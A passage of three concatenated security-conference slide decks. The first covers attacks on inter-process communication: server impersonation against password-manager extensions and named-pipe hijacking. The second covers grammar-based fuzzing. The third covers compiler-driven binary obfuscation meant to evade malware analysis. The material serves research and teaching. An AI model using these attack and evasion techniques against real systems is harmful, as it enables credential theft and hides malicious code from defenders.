as servers ○ A named pipe can have multiple instances that share the same name ○ Each instance connects exactly one pipe server and one pipe client ○ New pipe clients connected to the pipe servers in round-robin order ● Named pipes placed in a special path \\.\pipe\ ○ Every user (including guest) has access to the path ● Have built-in access control! Windows named pipe - Access control 16 ● If a named pipe doesn’t exist, any user can create it (including guest) ● If it exists, only users with FILE_CREATE_PIPE_INSTANCE permission can create new instances ● The first instance of the named pipe decides the maximum instances and security descriptor (DACL) ○ Default DACL: ■ READ access to everyone ■ FULL access to the creator and admins Windows named pipe - Attack vectors Client impersonation ● Any process can connect to any open pipe instance but subject to access control check Server impersonation ● Pipe name hijacking: create the first instance to control the pipe’s DACL and maximum instances ○ Set DACL to allow everyone to create new instances Client + Server impersonation = Man-in-the-middle 17 USB Human Interface Devices (USB HID) ● E.g. keyboards, pointing devices, hardware security tokens ● On Linux and macOS, ○ USB HIDs accessed from only current active user session ● On Windows, ○ USB HIDs accessed from any user session, including those in the background ○ Security of the devices depends on application-level security mechanism implemented in the hardware or software 18 Case studies 19 ● Native (desktop) app manages the password vault ○ Password vault encrypted with a key derived from a master password ● Browser extension creates and stores passwords, and enters them into login pages ● Browser extension and native app communicate via IPC Password managers 20 User device Web browser Web page Native app Browser extension ● Native app runs a HTTP/WebSocket server on a predefined port ● Browser extension connects as a client to the server ● Threats: ○ Browser extension is sandboxed → unable to perform most checks on the server process Password managers w/ Network socket 21 Web browser Web page Browser extension 8080 Network socket Native app Case study - Dashlane ● Dashlane app runs a WebSocket server on port 11456 ● Communication: ○ Messages encrypted with a key derived from hard-coded constant ○ Server verifies client by checking: ■ Browser extension ID in Origin header of each message ■ Code signature of the client process to make sure it is a known browser ■ Client process owned by same user as the server’s ○ Client does NOT verify server 22 Case study - Dashlane ● Dashlane app runs a WebSocket server on port 11456 ● Communication: ○ Messages encrypted with a key derived from hard-coded constant ○ Server verifies client by checking: ■ Browser extension ID in Origin header of each message ■ Code signature of the client process to make sure it is a known browser ■ Client process owned by same user as the server’s ○ Client does NOT verify server 23 Client impersonation Server impersonation Server impersonation on Dashlane (1) Attack steps: 1. Extract hard-coded encryption key from the browser extension’s code 2. Run WebSocket server on port 11456 before the benign server does ○ Benign server silently failovers to another port 3. Use the hard-coded key to communicate with the browser extension 24 Web browser Web page Browser extension 11456 MitMa attacker Network socket Dashlane app 11457 Server impersonation on Dashlane (2) Results: ● Dashlane browser extension collects and sends DOM elements from web pages to app for analysis → Attacker obtains personal data, such as emails and messages, from web pages ● Server can instruct the browser extension to collect web-form data and send to it → Attacker obtains any text typed by the user, including credentials 25 Case study - 1Password ● 1Password app runs a WebSocket server on port 6263 ● Communication: ○ Server verifies client in the same way as Dashlane does ○ In the first communication, server and client run a self-made protocol to agree on a shared encryption key 26 1. C → S: “hello” 2. C ← S: code (random 6-digit string) 3. C → S: hmac_key 4. Both extension and app displays the code 5. User confirms to the app if they match 6. C ← S: “authRegistered” 7. C → S: nonceC 8. C ← S: nonceS, mS=HMAC(hmac_key, nonceS||nonceC) 9. C → S: mC=HMAC(hmac_key, mS) 10. C ← S: “welcome” 11. Both sides derive encryption key K=HMAC(hmac_key, ms||mC||”encryption”) Case study - 1Password ● 1Password app runs a WebSocket server on port 6263 ● Communication: ○ Server verifies client in the same way as Dashlane does ○ In the first communication, server and client run a self-made protocol to agree on a shared encryption key 27 1. C → S: “hello” 2. C ← S: code (random 6-digit string) 3. C → S: hmac_key 4. Both extension and app displays the code 5. User confirms to the app if they match 6. C ← S: “authRegistered” 7. C → S: nonceC 8. C ← S: nonceS, mS=HMAC(hmac_key, nonceS||nonceC) 9. C → S: mC=HMAC(hmac_key, mS) 10. C ← S: “welcome” 11. Both sides derive encryption key K=HMAC(hmac_key, ms||mC||”encryption”) Client impersonation Server impersonation MitMa on 1Password (Demo) Native messaging 29 ● Browser’s built-in method for communicating between browser extension and native code ● App registers with the browser: ○ an executable, called Native Messaging Host (NMH), and ○ a configuration file specifying which browser extensions have access to the NMH ● Browser starts the NMH in a child process and lets the browser extension communicate with it Native messaging 30 ● Browser’s built-in method for communicating between browser extension and native code ● App registers with the browser: ○ an executable, called Native Messaging Host (NMH), and ○ a configuration file specifying which browser extensions have access to the NMH ● Browser starts the NMH in a child process and lets the browser extension communicate with it Native messaging is immune to MitMa attacks Password managers w/ Native messaging 31 ● Password manager app registers a NMH with the browser and allows only its browser extension to communicate with the NMH ● However, NMH and the native app are still two separate processes → they use IPC to communicate with each other Web browser Web page Browser extension Native app App-specific IPC Native messaging host Native messaging Case study - Password Boss ● On Windows, named pipe used for IPC between NMH and the native app ● When the app starts, it creates a named pipe with: ○ Fixed name ○ Maximum instance = 50 ○ DACL allowing all authenticated users to have FULL access ● NMH connects to the named pipe as a pipe client and forwards messages between browser extension and native app ● All messages are sent in plaintext 32 Case study - Password Boss ● On Windows, named pipe used for IPC between NMH and the native app ● When the app starts, it creates a named pipe with: ○ Fixed name ○ Maximum instance = 50 ○ DACL allowing all authenticated users to have FULL access ● NMH connects to the named pipe as a pipe client and forwards messages between browser extension and native app ● All messages are sent in plaintext 33 Man-in-the-Middle Man-in-the-Middle on Password Boss (1) By authenticated user: 1. Connects as a client to the app’s named pipe instance 2. Creates another instance of the named pipe and waits for the NMH 3. NMH connects to the attacker’s instance because it is the only open instance 4. Forwards messages between the two pipe instances 34 App Attacker Client Server 1st inst. NMH Attacker 2nd inst. Man-in-the-Middle on Password Boss (2) By guest user: ● Guest cannot access the app’s pipe instance or create a new one ● Solution: Pipe name hijacking ○ Create the first instance and set a FULL access DACL to all users ● Rest is same as the attack by authenticated user 35 App Attacker Client Server 2nd inst. NMH Attacker 3rd inst. Attacker Attacker 1st inst. Case study - FIDO U2F security key ● 2nd authentication factor based on public key crypto and a USB device ● Challenge-response protocol ○ Browser keeps sending the challenge from the server to the device until it receives response (every 300 ms on Chrome) ○ User activates the device by touching a button on it ○ The device responds to only the first request after the touch 36 Browser Security key Server username, password Verify password challenge challenge User touches button response response Verify response Unauthorized access of FIDO U2F key 37 Reminder: On Windows, USB HIDs can be accessed from any user session Assumption: Attacker has obtained the 1st authentication factor Attack steps: 1. Signs in to the service in the background using the 1st factor 2. Sends the challenge from the service to the device at a high rate 3. Victim (in the foreground) signs in to ANY service using the same security key and touches the button on the device ○ The first button touch had no effect, but such minor glitches are typically ignored 4. The attacker’s request gets signed instead of the victim’s with high probability, and then the attacker obtains the 2nd factor MitMa on FIDO U2F Key (Demo) Discovered vulnerabilities 39 Application IPC Channel Attacks Password managers Roboform Y N - Network socket Client imp. Dashlane Y Y - Network socket Server imp. 1Password Y N - Network socket Server imp. F-Secure Key Y Y - Network socket Client imp. Server imp. Password Boss N Y - Named pipe Man-in-the-Middle Sticky Password Y N - Network socket Client imp. Server imp. Hardware tokens FIDO U2F Key N Y N USB Unauthorized access DigiSign Y Y Y Network socket Client imp. Others Blizzard Y Y - Network socket Client imp. Transmission Y Y Y Network socket Client imp. Spotify Y Y Y Network socket Client imp. MySQL N Y N Named pipe Man-in-the-Middle Keybase N Y N Named pipe Server imp. macOS Windows Linux Mitigation ● Spatial and temporal separation of users ○ Limit the number of users that can access a computer ○ Disable remote access, such as SSH and Remote desktop ● Attack detection easier in IPC than in network ○ Compare owner of client and server processes ○ Query client/server binary ● Cryptographic protection ○ User-assisted pairing vs TLS and PKI ○ Avoid self-made crypto! 40 Conclusion Software developers beware, IPC is not inherently secure! ● Unprivileged user or process can attack IPC of another user on the same computer ● Traditional network security threats exist also in IPC ● We are doing a more exhaustive survey ○ Contribute, if you are interested! 41 Contact Thanh Bui: [email protected] Siddharth Rao: [email protected] Markku Antikainen: [email protected] Tuomas Aura: [email protected] Read more ”Man-in-the-Machine: Exploiting ill-secured communication inside the computer”, USENIX Security 2018 42 Thank you!
pdf
RE-TARGETABLE GRAMMAR BASED TEST CASE GENERATION JOE ROZNER / @JROZNER TESTING PARSERS IS HARD 2 HOW WE GOT HERE ▸ Mostly black box (ish) implementation of complex languages (context-free-ish) ▸ ~35k lines of grammar in total (ANTLR) ▸ Implemented from incomplete, inaccurate, and contradictory documentation ▸ Radically different parsing algorithm(s) from original implementations ▸ Lack of public test cases for most dialects 3 PROBLEM AREAS FOR PARSING OVERFIT/UNDERFIT GRAMMAR DEFINITION ▸ Does the parser accurately recognize the language? ▸ Lack of access to real grammars ▸ Poor documentation ▸ Differences in parsing algorithms means differences in grammar definition ▸ Ambiguity, recursion, precedence differences ▸ Universally proving CFG equivalence is undecidable TREE GENERATION FLAWS ▸ Does the parse tree accurately represent the sentence? ▸ Shows the syntactic relationship between tokens ▸ Most parser generators require manual tree construction ▸ Typically this stage translates string data to it’s real type representation 6 lexer_body_part: ast::Operation = { <r:UpperId> <q:Quantifier*> => ast::unroll_quantifier(q, ast::Operation::Token(r)), <l:StringLiteral> ".." <r:StringLiteral> => ast::Operation::Range((l, r)), <r:StringLiteral> <q:Quantifier*> => ast::unroll_quantifier(q, ast::Operation::StringLiteral(r)), "(" <r:LexerBody> ")" <q:Quantifier*> => ast::unroll_quantifier(q, ast::Operation::Group(r)), "." <q:Quantifier*> => ast::unroll_quantifier(q, ast::Operation::Any), CharacterClass <q:Quantifier*> => ast::unroll_quantifier(q, ast::Operation::CharacterClass), }; UNSAFE/INCORRECT VALIDATED INPUT ▸ Have we validated that the input is safe and correct? ▸ Correct parsing proves validity but doesn’t ensure future proper handling ▸ Syntactic/Semantic correctness doesn’t ensure safety ▸ Opaque handling of tokens is fairly common due to language complexity ▸ Once you’re past the parser it’s back to smashing the stack/logic flaws/etc 8 HOW DO WE TEST THIS? GETTING MORE TEST CASES ▸ Write by hand ▸ Crawl the web/open source project pulling out examples ▸ Automatically generate test cases with a fuzzer 10 STYLES OF FUZZING INSTRUMENTATION + RANDOM MUTATION ▸ Focus on path exploration and code coverage ▸ No concept of syntax/semantics ▸ Wont necessarily provide lot’s of coverage for variations of a specific parse tree ▸ Might spend a lot of time on uninteresting/non-relevant code paths ▸ Not immediately clear how to build a proper test harness ▸ Example of this strategy is AFL (American Fuzzy Lop) ▸ https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html 12 “THE FIRST IMAGE, HIT AFTER ABOUT SIX HOURS ON AN 8-CORE SYSTEM…” “…CERTAIN TYPES OF ATOMICALLY EXECUTED CHECKS WITH A LARGE SEARCH SPACE MAY POSE AN INSURMOUNTABLE OBSTACLE TO THE FUZZER…” if (strcmp(header.magic_password, "h4ck3d by p1gZ”)) goto terminate_now; “IN PRACTICAL TERMS, THIS MEANS THAT AFL- FUZZ WON'T HAVE AS MUCH LUCK ‘INVENTING’ PNG FILES OR NON-TRIVIAL HTML DOCUMENTS FROM SCRATCH…” INSTRUMENTATION + SOLVING ▸ Focus on path exploration and code coverage ▸ Instrument the code and solve for new paths ▸ Still doesn’t care about syntax/semantics ▸ Still not clear how to build a more customer test harness ▸ Not necessarily easy to gate off specific paths that are uninteresting ▸ Example of this is KLEE 17 GRAMMAR BASED ▸ Uses a grammar to generate syntactically correct sentences ▸ Typically provide their own grammar language ▸ Mostly targeted at regular/context-free text based languages ▸ Example of this is Mozilla Dharma ▸ https://github.com/MozillaSecurity/dharma 18 PROBLEMS WITH TRADITIONAL TEST CASE GENERATION ▸ Inflexibility with using test cases ▸ Inflexibility with providing feedback ▸ Existing tools solve many cases but as you deviate they become less useful HOW CAN WE DO BETTER? ▸ Easy to build flexible test harnesses ▸ Directly use grammar definition without manual translation ▸ Expressive enough for regular, context-free, and context-sensitive languages both text and binary ▸ Embeddable into and usable from any language ▸ As much code re-use as possible to avoid duplication 20 SYNFUZZ A GRAMMAR BASED TEST CASE GENERATION PLATFORM Synfuzz ANTLR BISON Test 1 EBNF Ragel Test 2 Test 1 Test 1 Test 3 Values Quantification Logical Grouping CharLiteral RepeatN Choice Sequence Byte Many Not JoinWith String Many1 SepBy CharRange Range SepBy1 Optional let mut f = File::open("bnf.g4").unwrap(); let mut buf = String::new(); f.read_to_string(&mut buf).unwrap(); let rules = antlr4::generate_rules(&buf).unwrap(); let r = rules.read().unwrap(); let root = r.get("rulelist").unwrap(); let generated = root.generate(); let s = String::from_utf8_lossy(&generated); println!("{}", s); DEMO DESIGNING TEST HARNESSES DOES IT CRASH? 1.Start process 2.Generate input and feed it 3.Listen for SIGSEGV/SIGABRT 27 OVERFIT 1.Generate test case 2.Find oracle that specifies whether a syntax or runtime error 3.Feed test case 4.Categorization 1.If failure and syntax error parser is overfit 2.If failure and runtime error may or may not be overfit 28 mysql> select * from a where id ^^^^^ 3; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '^^^^ 3' at line 1 mysql> select * from a where fakecolumn = 3; ERROR 1146 (42S02): Table 'mysql.a' doesn't exist UNDERFIT 1.Generate test case from reference implementation grammar 2.Parse with re-implementation 3.Categorization 1.If fails re-implementation is underfit 2.If succeeds re-implementation is correct 30 WHAT’S READY TODAY ▸ Combinator library for regular and context-free grammars ▸ ANTLR4 frontend ▸ https://www.github.com/jrozner/synfuzz ▸ https://www.github.com/jrozner/rust-antlr4 31 ▸ Cycle detection + forced progression ▸ Expose a C-compatible API + language bindings ▸ Better negation logic ▸ Context-Sensitive/Introspective generators ▸ Bit level values ▸ Additional frontends ▸ Grammar coverage information WHAT’S NEXT? 32 QUESTIONS? [email protected] / @JROZNER HTTPS://WWW.GITHUB.COM/JROZNER/SYNFUZZ
pdf
Binary Obfuscation from the Top Down How to make your compiler do your dirty work. Binary Obfuscation Why Top Down? • Assembly, while “simple,” is tedious. • It’s easier for us to write higher-level code. • Some of us. • Why do it by hand when you can be lazy? Binary Obfuscation What’s the purpose of obfuscation? • To waste time. • To intimidate. • To be a total jerk. Binary Obfuscation What tools will be used? • C and C++ • MSVC++ for compilation (sorry) Binary Obfuscation What will not be covered? • Anti-debug • Source obfuscation where it does not relate to binary transformations • Obfuscation effectiveness • Post-compilation obfuscation Important Basics Hopefully we can get through this really quickly. Fun With Pointers car cdr cadr cdar cdadr cdddr caar caaar caaaar caaaaaar Binary Obfuscation Function Pointers • Like string-format vulnerabilities, function pointers are ancient Voodoo. • I honestly don’t know who thought these were a good idea, but I freakin’ love ‘em. • See src/funcptr.c Binary Obfuscation Function Pointers int foo (void) { return 949; } int bar (void) { int (*fooPtr)(void); fooPtr = foo; return fooPtr(); } Binary Obfuscation Method Pointers • Abuse of method pointers would probably make Bjarne Stroustrup really angry. • There is also one thing uglier than function pointers. That’s method pointers. • See src/methodptr.cpp Binary Obfuscation Method Pointers int MyClass::foo(void) { return 310; } int bar (void) { MyClass baz; int (MyClass::*fooPtr)(void); fooPtr = &MyClass::foo; return (MyClass.*baz)fooPtr(); } Calling Conventions I really want to write a clever pun about payphones and DEFCON, but I just can’t. Binary Obfuscation Calling Conventions • When making a function call, there are a few ways to do it: • stdcall • cdecl • fastcall • thiscall Binary Obfuscation Calling Conventions • stdcall • Push arguments onto stack • Called function pops from stack • Cleans up its own mess. Binary Obfuscation Calling Conventions • cdecl • Push arguments onto stack • Called function pops from stack • Called function cleans up the mess Binary Obfuscation Calling Conventions • fastcall • First two arguments less than a DWORD moved into ecx and edx respectively • Rest are pushed onto the stack • Called function pops from the stack • Called function cleans up the mess Binary Obfuscation Calling Conventions • thiscall • Used when a function within a class object is called • “this” pointer moved into ecx • Function arguments pushed onto stack • Called function pops from stack • Cleans up its own mess Compiler Optimizations The Dragon Book: Not Just for Furries Anymore Binary Obfuscation Compiler Optimizations • Control-flow analysis • Variable analysis • Reach-of-use • The volatile keyword Binary Obfuscation Compiler Optimizations • At compile time, your code is separated into multiple blocks. • A “block” consists of code separated by conditional (e.g. JLE, JNE, etc.) and unconditional jumps (e.g. CALL and JMP). • How this code is organized and how the jumps occur affects the optimization of the program. Binary Obfuscation Compiler Optimizations MOV EAX,949 XOR EAX,310 CMP EAX,0 JNE z0r z0r: XOR EAX,310 PUSH EAX XOR EAX,949 LEAVE RETN Binary Obfuscation Compiler Optimizations MOV EAX,949 XOR EAX,310 CMP EAX,0 JNE z0r z0r: XOR EAX,310 PUSH EAX XOR EAX,949 LEAVE RETN lol lemme fix this Binary Obfuscation Compiler Optimizations MOV EAX,949 XOR EAX,310 XOR EAX,310 PUSH EAX Binary Obfuscation Compiler Optimizations • The compiler also looks at your variables to make sure you’re not doing anything repetitive or inconsequential. • Algorithms like the directed acyclic graph (DAG) algorithm and static variable analysis make sure memory and math are fully optimized. Binary Obfuscation Compiler Optimizations MOV EAX,949 XOR EAX,310 XOR EAX,310 PUSH EAX Binary Obfuscation Compiler Optimizations MOV EAX,949 XOR EAX,310 XOR EAX,310 PUSH EAX lol seriously? Binary Obfuscation Compiler Optimizations MOV EAX,949 PUSH EAX Binary Obfuscation Compiler Optimizations MOV EAX,949 XOR EAX,310 CMP EAX,0 JNE z0r z0r: XOR EAX,310 PUSH EAX XOR EAX,949 LEAVE RETN MOV EAX,949 PUSH EAX Binary Obfuscation Compiler Optimizations • Your compiler is a neat-freak. • If the compiler notices it doesn’t need a variable anymore, it’s just going to get rid of it, no matter what else you do to it. Binary Obfuscation Compiler Optimizations MOV EAX,949 MOV EBX,310 MOV ECX,213 XOR EAX,EBX ADD EBX,EAX SUB EAX,EAX PUSH EBX PUSH EAX Binary Obfuscation Compiler Optimizations MOV EAX,949 MOV EBX,310 MOV ECX,213 XOR EAX,EBX ADD EBX,EAX SUB EAX,EAX PUSH EBX PUSH EAX Binary Obfuscation Compiler Optimizations MOV EAX,949 MOV EBX,310 XOR EAX,EBX ADD EBX,EAX SUB EAX,EAX PUSH EBX PUSH EAX Binary Obfuscation Compiler Optimizations • There exist cases (mostly in hardware development) where you do NOT want your compiler to optimize your variable. • This is where the volatile keyword comes in. • Making your variable volatile tells the compiler not to do any optimizations to it. Binary Obfuscation Compiler Optimizations volatile int foo; volatile char bar; volatile uint32_t baz; Binary Obfuscation Compiler Optimizations int x; x = 7; x <<= 2; x *= 2; x -= 12; x += (x*x)<<2; printf("%d\n", x); Binary Obfuscation Compiler Optimizations PUSH 1E6C PUSH “%d\n” CALL $PRINTF int x; x = 7; x <<= 2; x *= 2; x -= 12; x += (x*x)<<2; printf("%d\n", x); Binary Obfuscation Compiler Optimizations volatile int x; x = 7; x <<= 2; x *= 2; x -= 12; x += (x*x)<<2; printf("%d\n", x); Binary Obfuscation Compiler Optimizations MOV [ESP],7 SHL [ESP],2 MOV EAX,[ESP] ADD EAX,EAX MOV [ESP],EAX ADD [ESP],-0C MOV ECX,[ESP] MOV EDX,[ESP] MOV EAX,[ESP] IMUL ECX,EDX ... volatile int x; x = 7; x <<= 2; x *= 2; x -= 12; x += (x*x)<<2; printf("%d\n", x); Binary Formats Everything is a file. Binary Obfuscation Binary Formats • The most common formats you’ll likely come across are the PE file format (Windows) and the ELF format (Linux). • Both of these formats have a “table” they use for external library calls such as printf, execv, etc. • For Windows it’s called the IAT. For Linux it’s the PLT. Binary Obfuscation Binary Formats • If you obfuscate function pointers, they will likely not show up in those lists and therefore cause your library calls to fail. • Circumventing this issue will be covered later. Methods of Analysis Know your opponent! Binary Obfuscation Methods of Analysis • Someone can easily figure out the gist of what your program is doing by analyzing any of the API calls you make. • There exist a few programs out there that already do this for you: VirusTotal and ZeroWine. Binary Obfuscation Methods of Analysis • VirusTotal (virustotal.com) is a website that allows you to upload suspected malware files and analyze them against over thirty different scanners. • At the end of the analysis is a list of all recognized Windows API calls made by the program, as well as various data sections within. Binary Obfuscation Methods of Analysis • ZeroWine (zerowine.sourceforge.net) is a malware analysis tool that executes a program in a controlled environment and collects data. • This, too, collects and reports on API calls made by the program, as well as any possible servers it may have contacted or files it may have written. Binary Obfuscation Methods of Analysis • When analyzing a binary, there are two schools of analysis: live-code and dead- code. • Dead-code is exactly how it sounds: you look at the binary, as-is, without executing. • Live-code is the opposite: you run the program and watch what it does. Binary Obfuscation Methods of Analysis • VirusTotal employs dead-code analysis. It simply reads the binaries uploaded to it, scans it with various virus scanners and reports. • ZeroWine, however, employs live-code analysis. It runs the suspected program in a controlled environment and watches what happens. Binary Obfuscation Methods of Analysis • Dead-code analysis can be frustrated through polymorphism. • Live-code analysis can be frustrated through hiding, obfuscating and redirecting data and control-flow under the eyes of the reverser. Obfuscation We’re almost at the fun part, I promise! Binary Obfuscation Obfuscation • There are three separate classes of obfuscation. • Layout • Control-flow • Data Binary Obfuscation Obfuscation • Layout obfuscation essentially means scrambling the program around at the source-level. • The International Obfuscated C Contest (ioccc.org) is a perfect example of this. Binary Obfuscation Obfuscation X=1024; Y=768; A=3; J=0;K=-10;L=-7;M=1296;N=36;O=255;P=9;_=1<<15;E;S;C;D;F(b){E="1""111886:6:??AAF" "FHHMMOO55557799@@>>>BBBGGIIKK"[b]-64;C="C@=::C@@==@=:C@=:C@=:C5""31/513/5131/" "31/531/53"[b ]-64;S=b<22?9:0;D=2;}I(x,Y,X){Y?(X^=Y,X*X>x?(X^=Y):0, I (x,Y/2,X )):(E=X); }H(x){I(x, _,0);}p;q( c,x,y,z,k,l,m,a, b){F(c );x-=E*M ;y-=S*M ;z-=C*M ;b=x* x/M+ y*y/M+z *z/M-D*D *M;a=-x *k/M -y*l/M-z *m/M; p=((b=a*a/M- b)>=0?(I (b*M,_ ,0),b =E, a+(a>b ?-b:b)): -1.0);}Z;W;o (c,x,y, z,k,l, m,a){Z=! c? -1:Z;c <44?(q(c,x ,y,z,k, l,m,0,0 ),(p> 0&&c!= a&& (p<W ||Z<0) )?(W= p,Z=c): 0,o(c+ 1, x,y,z, k,l, m,a)):0 ;}Q;T; U;u;v;w ;n(e,f,g, h,i,j,d,a, b,V){o(0 ,e,f,g,h,i,j,a);d>0 &&Z>=0? (e+=h*W/M,f+=i*W/M,g+=j*W/M,F(Z),u=e-E*M,v=f-S*M,w=g-C*M,b=(-2*u-2*v+w) /3,H(u*u+v*v+w*w),b/=D,b*=b,b*=200,b/=(M*M),V=Z,E!=0?(u=-u*M/E,v=-v*M/E,w=-w*M/ E):0,E=(h*u+i*v+j*w)/M,h-=u*E/(M/2),i-=v*E/(M/2),j-=w*E/(M/2),n(e,f,g,h,i,j,d-1 ,Z,0,0),Q/=2,T/=2, U/=2,V=V<22?7: (V<30?1:(V<38?2:(V<44?4:(V==44?6:3)))) ,Q+=V&1?b:0,T +=V&2?b :0,U+=V &4?b:0) :(d==P?(g+=2 ,j=g>0?g/8:g/ 20):0,j >0?(U= j *j/M,Q =255- 250*U/M,T=255 -150*U/M,U=255 -100 *U/M):(U =j*j /M,U<M /5?(Q=255-210*U /M,T=255-435*U /M,U=255 -720* U/M):(U -=M/5,Q=213-110*U /M,T=168-113*U / M,U=111 -85*U/M) ),d!=P?(Q/=2,T/=2 ,U/=2):0);Q=Q< 0?0: Q>O? O: Q;T=T<0? 0:T>O?O:T;U=U<0?0: U>O?O:U;}R;G;B ;t(x,y ,a, b){n(M*J+M *40*(A*x +a)/X/A-M*20,M*K,M *L-M*30*(A*y+b)/Y/A+M*15,0,M,0,P, -1,0,0);R+=Q ;G+=T;B +=U;++a<A?t(x,y,a, b):(++b<A?t(x,y,0,b):0);}r(x,y){R=G=B=0;t(x,y,0,0);x<X?(printf("%c%c%c",R/A/A,G /A/A,B/A/A),r(x+1,y)):0;}s(y){r(0,--y?s(y),y:y);}main(){printf("P6\n%i %i\n255" "\n",X,Y);s(Y);} Anders Gavare, http://www0.us.ioccc.org/2004/gavare.c Binary Obfuscation Obfuscation • Control-flow obfuscation involves twisting the typical downward-flow of a program to into spaghetti code. • It has the added benefit of obfuscating source while simultaneously upsetting the normal flow a reverse-engineer is used to. Binary Obfuscation Obfuscation • Data obfuscation involves masking whatever data you have in your program by any means. • Strings, numbers, even functions within your program can be masked, obfuscated, interwoven or encrypted without hand- writing any assembly. Obfuscation Techniques Now the fun begins. Binary Obfuscation Obfuscation Techniques • The goal is to obfuscate the binary without doing binary transformations. • We know how the compiler optimizes, what it does to our data and how it stores some information important for programmatic logic. • With this in mind, we can now leverage our code against the compiler. Binary Obfuscation Obfuscation Techniques • Layout obfuscation is essentially useless. • Renaming variables, removing whitespace and using #define routines for functions typically has very little impact on the underlying program. • Sure you can do layout obfuscation on your code, and some of it MAY translate to obfuscated code, but the signal-to-noise ratio is much too low for to be useful. Control-Flow Obfuscation Turn that boring linear NOP sled into something worthy of Raging Waters. Binary Obfuscation Control-Flow Obfuscation • With function pointers, method pointers, the volatile keyword and the goto keyword on our side, we can do some really fun stuff. Binary Obfuscation Control-Flow Obfuscation • Opaque predicates are tautological IF statements. • An opaque predicate cannot be optimized because the compiler cannot determine the outcome. • You see this frequently in obfuscated JavaScript. Binary Obfuscation Control-Flow Obfuscation int a=7,b=2,c=8,d=9; if (a+b+c*d > 0) { puts(“yes”); exit(0); } puts(“no”); Binary Obfuscation Control-Flow Obfuscation PUSH “yes” CALL $PUTS PUSH 0 CALL $EXIT int a=7,b=2,c=8,d=9; if (a+b+c*d > 0) { puts(“yes”); exit(0); } puts(“no”); Binary Obfuscation Control-Flow Obfuscation int a,b,c,d; srand(time(0)); a=rand()+1;b=rand()+1; c=rand()+1;d=rand()+1; if (a+b+c*d > 0) { puts(“yes”); exit(0); } puts(“no”); Binary Obfuscation Control-Flow Obfuscation ... TEST EAX,EAX JLE SHORT :NO PUSH “yes” CALL $PUTS PUSH 0 CALL $EXIT NO: PUSH “no” CALL $PUTS int a,b,c,d; srand(time(0)); a=rand()+1;b=rand()+1; c=rand()+1;d=rand()+1; if (a+b+c*d > 0) { puts(“yes”); exit(0); } puts(“no”); Binary Obfuscation Control-Flow Obfuscation • Control-flow flattening involves, quite literally, flattening the graphical representation of your program. • Typically you have a top-down flow with program graphs. With flattening, you cause a central piece of code to control the flow of the program. • Control-flow obfuscation is employed by bin/crackmes/leetkey.exe Binary Obfuscation Control-Flow Obfuscation Flattened: Normal: Binary Obfuscation Control-Flow Obfuscation Binary Obfuscation Control-Flow Obfuscation doThis(); doThat(); doMore(); int x=2; sw: switch(x) { case 0: doThat(); x = 1; goto sw; case 1: doMore(); break; case 2: doThis(); x = 0; goto sw; } Binary Obfuscation Control-Flow Obfuscation • This technique of obfuscation can be applied very creatively. • See src/cflow-flatlist.c and src/cflow-flattree.c Binary Obfuscation Control-Flow Obfuscation • Most programs are reducible-- meaning they can easily be optimized. • If a program is irreducible, then it cannot be optimized, thus translating spaghetti code into spaghetti assembly. • A good example by Madou et. al. is making a loop irreducible. • See src/cflow-irreducible.c Binary Obfuscation Control-Flow Obfuscation • Raising bogus exceptions is a common way for malware to obfuscate and frustrate reverse engineering. • This is easily accomplished by setting up a try block, intentionally triggering the exception, then resuming at the caught section. • For Linux, you can do the same with signals. • See src/cflow-exceptions.cpp Binary Obfuscation Control-Flow Obfuscation try { volatile int trigger=20; doThis(); doThat(); /* trigger divide-by-zero exception */ trigger=trigger/(trigger-trigger); neverExecutes(); } catch (...) { doMore(); doTonsMore(); } Data Obfuscation Binary Obfuscation Data Obfuscation • Data obfuscation takes a little more care than control-flow obfuscation. • The data must be obfuscated before the compilation process, then de-obfuscated at run-time. • If the data is not obfuscated before run- time, dead-code analysis is made trivial and your obfuscation is useless. Binary Obfuscation Data Obfuscation • One of the more obvious techniques is to encrypt your strings. • Even though strings don’t technically lead to knowledge of the program, it can help aide in reverse-engineering more often than you think. Binary Obfuscation Data Obfuscation • Recall the explanation of volatile: • With enough annoyances, this can be used to frustrate analysis. volatile int x; x = 7; x <<= 2; x *= 2; x -= 12; x += (x*x)<<2; printf("%d\n", x); Binary Obfuscation Data Obfuscation • Data aggregation can be used to make dead-code analysis confusing. char aggr[7] = “fboaor”; char foo[3], bar[3]; int i; for (i=0;i<3;++i) { foo[i]=aggr[i*2]; bar[i]=aggr[i*2+1]; } /* foo = “foo” / bar = “bar” */ Binary Obfuscation Data Obfuscation • Functions in the PLT/IAT are certainly considered data. • To prevent dead-code analysis from discovering our library calls, we can easily “create” functions at run-time by using system calls such as LoadLibrary and GetProcAddress (Windows) and dlopen and dlsym (Linux). • See src/data-loadlib.c, src/data-dlopen.c and src/mdl.cpp Poor Man’s Packer How to simulate a packer in a humorous manner. Binary Obfuscation Poor Man’s Packer • Combines control-flow and data obfuscation to cause all sorts of headaches. • Revolves around compiling, copying data and applying function pointers to obfuscated or encrypted data. • See bin/crackmes/manifest.exe • If you have problems with this binary, ask a DC949 member what the group motto is. Binary Obfuscation Poor Man’s Packer • Compile • Disassemble • Copy bytes of function, make an array • Apply encryption, aggregation, etc. • Recompile • Decipher at run-time • Cast as function-pointer • Execute • See src/pmp-concept.c Binary Obfuscation Poor Man’s Packer • Problems • Functions are broken because they are no longer in the PLT/IAT. • Data offsets are completely messed up. • Functions in C++ objects cause segmentation faults (due to broken thiscall). • Compiler might change calling conventions. • void pointers are scary. Binary Obfuscation Poor Man’s Packer • If you pass a data structure containing data required by the function (function offsets, strings, etc.), you can circumvent the issue caused by relative jumps and offsets. • This also applies to method pointers and C++ objects. • This gives you the opportunity to dynamically add and remove necessary program data as you see fit. Binary Obfuscation Poor Man’s Packer • Be sure your calling conventions match after each step of compilation and byte- copying! • cdecl is the calling convention used by vararg functions such as printf. • fastcall and stdcall should be fine for all other functions. • Mismatched calling conventions will cause headaches and segmentation faults. Binary Obfuscation Poor Man’s Packer • Why is this beneficial? • Ultimate control of all data • Code is still portable and executable • Adds a bizarre layer of obfuscation • When done enough, severely obfuscates source Binary Obfuscation Poor Man’s Packer • Why does this suck? • Makes binaries huge if you don’t compress your functions due to enlarged data-sections • Takes a lot of work to accomplish • It can be extremely frustrating to craft the write code with the right keywords with full optimization Additional Info Some stuff to help you out with obfuscation Binary Obfuscation Tools • Code transformers • TXL (txl.ca) • SUIF (suif.standford.edu) • TXL and SUIF are used to transform source-code by a certain set of given rules (such as regular expressions). Binary Obfuscation Sources 